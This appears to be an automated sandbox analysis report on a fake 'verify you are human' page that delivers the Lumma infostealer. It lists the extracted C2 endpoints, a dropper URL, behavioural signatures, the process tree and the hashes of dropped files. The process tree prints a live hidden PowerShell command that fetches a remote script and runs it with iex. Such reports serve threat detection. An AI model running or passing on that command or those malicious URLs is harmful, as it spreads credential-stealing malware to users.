Resubmissions

19-11-2024 13:21

241119-ql155swmet 10

19-11-2024 13:19

241119-qkldasxcmj 3

Analysis

  • max time kernel
    92s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-11-2024 13:21

General

  • Target

    https://check-in-cf.b-cdn.net/verify/cf-check.html

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://tipicopisco.com/go/bebek.txt

Extracted

Family

lumma

C2

https://appr0dress.cyou/api

https://processhol.sbs/api

https://p10tgrace.sbs/api

https://peepburry828.sbs/api

https://3xp3cts1aim.sbs/api

https://p3ar11fter.sbs/api

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Lumma family
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://check-in-cf.b-cdn.net/verify/cf-check.html
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:5100
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8895a46f8,0x7ff8895a4708,0x7ff8895a4718
      2⤵
        PID:4088
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,4500304164962014444,18426661600405130031,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2160 /prefetch:2
        2⤵
          PID:1336
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,4500304164962014444,18426661600405130031,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2340 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:5056
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2152,4500304164962014444,18426661600405130031,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2736 /prefetch:8
          2⤵
            PID:1184
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,4500304164962014444,18426661600405130031,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
            2⤵
              PID:2504
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,4500304164962014444,18426661600405130031,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:1
              2⤵
                PID:5028
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,4500304164962014444,18426661600405130031,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5304 /prefetch:8
                2⤵
                  PID:4944
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,4500304164962014444,18426661600405130031,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5304 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4536
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,4500304164962014444,18426661600405130031,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5452 /prefetch:1
                  2⤵
                    PID:5344
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,4500304164962014444,18426661600405130031,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5448 /prefetch:1
                    2⤵
                      PID:5352
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,4500304164962014444,18426661600405130031,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:1
                      2⤵
                        PID:5588
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,4500304164962014444,18426661600405130031,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5628 /prefetch:1
                        2⤵
                          PID:5596
                      • C:\Windows\System32\CompPkgSrv.exe
                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                        1⤵
                          PID:2056
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:568
                          • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
                            "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -command $uR='https://tipicopisco.com/go/bebek.txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex $t
                            1⤵
                            • Blocklisted process makes network request
                            • Command and Scripting Interpreter: PowerShell
                            • Drops file in System32 directory
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4144
                            • C:\Users\Admin\AppData\Roaming\Extra\bubs.exe
                              "C:\Users\Admin\AppData\Roaming\Extra\bubs.exe"
                              2⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • System Location Discovery: System Language Discovery
                              PID:5832

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\228e546b-ab71-4d4b-8399-b9fc4252aac2.tmp

                            Filesize

                            10KB

                            MD5

                            9139b246e30067257dd4fe368425821f

                            SHA1

                            0f6b0a0250b4328b648d544f5c52d7e8947625a5

                            SHA256

                            1104f2179f6af13b08a0ebd4ec0dae2ef8d95fc23067f8bba4d837dfbb344c17

                            SHA512

                            e7a0e506bf77d6f5283e89c5e186e45fdd05e608eb53e1f97f9530f19b07ca8838fa65c967b92c24a7d4dc9d815bbd532a114f4ccb451385255100a5d052932c

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                            Filesize

                            152B

                            MD5

                            6960857d16aadfa79d36df8ebbf0e423

                            SHA1

                            e1db43bd478274366621a8c6497e270d46c6ed4f

                            SHA256

                            f40b812ce44e391423eb66602ac0af138a1e948aa8c4116045fef671ef21cd32

                            SHA512

                            6deb2a63055a643759dd0ae125fb2f68ec04a443dbf8b066a812b42352bbcfa4517382ed0910c190c986a864559c3453c772e153ee2e9432fb2de2e1e49ca7fe

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                            Filesize

                            152B

                            MD5

                            f426165d1e5f7df1b7a3758c306cd4ae

                            SHA1

                            59ef728fbbb5c4197600f61daec48556fec651c1

                            SHA256

                            b68dfc21866d0abe5c75d70acc54670421fa9b26baf98af852768676a901b841

                            SHA512

                            8d437fcb85acb0705bf080141e7a021740901248985a76299ea8c43e46ad78fb88c738322cf302f6a550caa5e79d85b36827e9b329b1094521b17cf638c015b6

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                            Filesize

                            265B

                            MD5

                            52ab2b9deedc8cd773cc37226d0eeb24

                            SHA1

                            60a133ca18d14d8f237a4d446f4a378de7b599a3

                            SHA256

                            6f1eb18b7aa055efd41f8429131c6d83b0c2bd473a3eedf1d07dd6cdb82b48e1

                            SHA512

                            3217f16097e80db1c814a9a8bec5ee46b37f2bbc1a987832ee9d688577fafb9ba02d9d140b987a668b50e132eeabb4938e3034a719e20275bbfc1a3e7c1d6786

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                            Filesize

                            5KB

                            MD5

                            9cb9f939aa156922daf2c7c22a572df9

                            SHA1

                            c7eb2c597c128704fb23a96fc96d8feb062f0304

                            SHA256

                            96e6a92c5d600d90a6dddca6b152a3d8a76d3b7209e732aff42f996030fe10e7

                            SHA512

                            ad808a0a8123c5b819060e766cd3b5337e3081b0d3acd99b9aeb1868fe751199a3a587c05d6c3ee908e4888747ae501508074ec2a9fc59e712ab1d282a2eddd3

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                            Filesize

                            6KB

                            MD5

                            288c61a57bd8b4b33e0d4c0f81827c5a

                            SHA1

                            a99e8d4c0da03ba0f40a3f02cc92854bd916c52b

                            SHA256

                            b2233d6f58b7103be322079fedb4b8dd8e2d9eda8d7c930c11e1fef9ba6b374c

                            SHA512

                            56616b1ed983ece1c786814c9227e5b79949c0a0ea68278a3b4ed63143a34d50e0fa120dcc4d599969f7c09cfde1095d008c1eed441081ada5d4ef5f96c49f6c

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                            Filesize

                            16B

                            MD5

                            6752a1d65b201c13b62ea44016eb221f

                            SHA1

                            58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                            SHA256

                            0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                            SHA512

                            9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                            Filesize

                            10KB

                            MD5

                            306084e80e6316bba0c0ba3aa0fe9e9d

                            SHA1

                            6f0b96ad741922dd0032acf1fbb2240fd07981c5

                            SHA256

                            bf9e66210e31849ba2665c549ac3aeca63b5528944664973f1f879871c1551b8

                            SHA512

                            dc58ee00e4921fbac344fd155220f89bd7db477ede22a6fb775d5bd3618af3b39e6b9f763b05fe1ce28437e20896718f03f58cb0866788d440ea50c47de22a1f

                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xj51icam.dbq.ps1

                            Filesize

                            60B

                            MD5

                            d17fe0a3f47be24a6453e9ef58c94641

                            SHA1

                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                            SHA256

                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                            SHA512

                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                          • C:\Users\Admin\AppData\Roaming\Extra\bubs.exe

                            Filesize

                            4.6MB

                            MD5

                            442d526a26805c47376d7b4f78374a4f

                            SHA1

                            3af8edc2316c6d602d027c1f0ffa1eb9d68b7047

                            SHA256

                            6eb422418aee67819a21db376f41ffaa9b351392ef7a22e939d997c5c33f8c3c

                            SHA512

                            1f15301d3c0969a513200b4fbac8fe70bee8bdda8e9c9b56fab647cbf59eef0d69fdb46fd2662de0fbea1d00338b988803d2d94d793da3e12b5b16cbb47e8054

                          • C:\Users\Admin\AppData\Roaming\Extra\cr.dll

                            Filesize

                            5.5MB

                            MD5

                            6c5456370ea9ea64c7fb6296284fd95a

                            SHA1

                            18341d3079e637b76406b475d8939a7c57f9809a

                            SHA256

                            7ffd784adf875b3bae9a43092cbbe58a1fd80c8f095b869f1087fc5ac8a56628

                            SHA512

                            d712b176f3c50b28afeb46f487e461852f7ae82a5b3987b550b18210cdcceaff00d45e07c12b359bcaa01a90102d37ef530457a3c8d38e981c2a0155bb885482

                          • \??\pipe\LOCAL\crashpad_5100_HENYDHSDBFGLCXYV

                            MD5

                            d41d8cd98f00b204e9800998ecf8427e

                            SHA1

                            da39a3ee5e6b4b0d3255bfef95601890afd80709

                            SHA256

                            e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                            SHA512

                            cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                          • memory/4144-81-0x00000175518B0000-0x00000175518BA000-memory.dmp

                            Filesize

                            40KB

                          • memory/4144-82-0x00000175518E0000-0x00000175518F2000-memory.dmp

                            Filesize

                            72KB

                          • memory/4144-101-0x00000175384A0000-0x0000017538F61000-memory.dmp

                            Filesize

                            10.8MB

                          • memory/4144-115-0x00000175384A0000-0x0000017538F61000-memory.dmp

                            Filesize

                            10.8MB

                          • memory/4144-79-0x0000017551C90000-0x0000017552436000-memory.dmp

                            Filesize

                            7.6MB

                          • memory/4144-71-0x0000017551070000-0x0000017551092000-memory.dmp

                            Filesize

                            136KB

                          • memory/5832-100-0x0000000001D30000-0x0000000001D8B000-memory.dmp

                            Filesize

                            364KB

                          • memory/5832-99-0x0000000001D30000-0x0000000001D8B000-memory.dmp

                            Filesize

                            364KB

                          • memory/5832-111-0x0000000000EE0000-0x0000000001372000-memory.dmp

                            Filesize

                            4.6MB

                          • memory/5832-112-0x0000000074890000-0x0000000074E0E000-memory.dmp

                            Filesize

                            5.5MB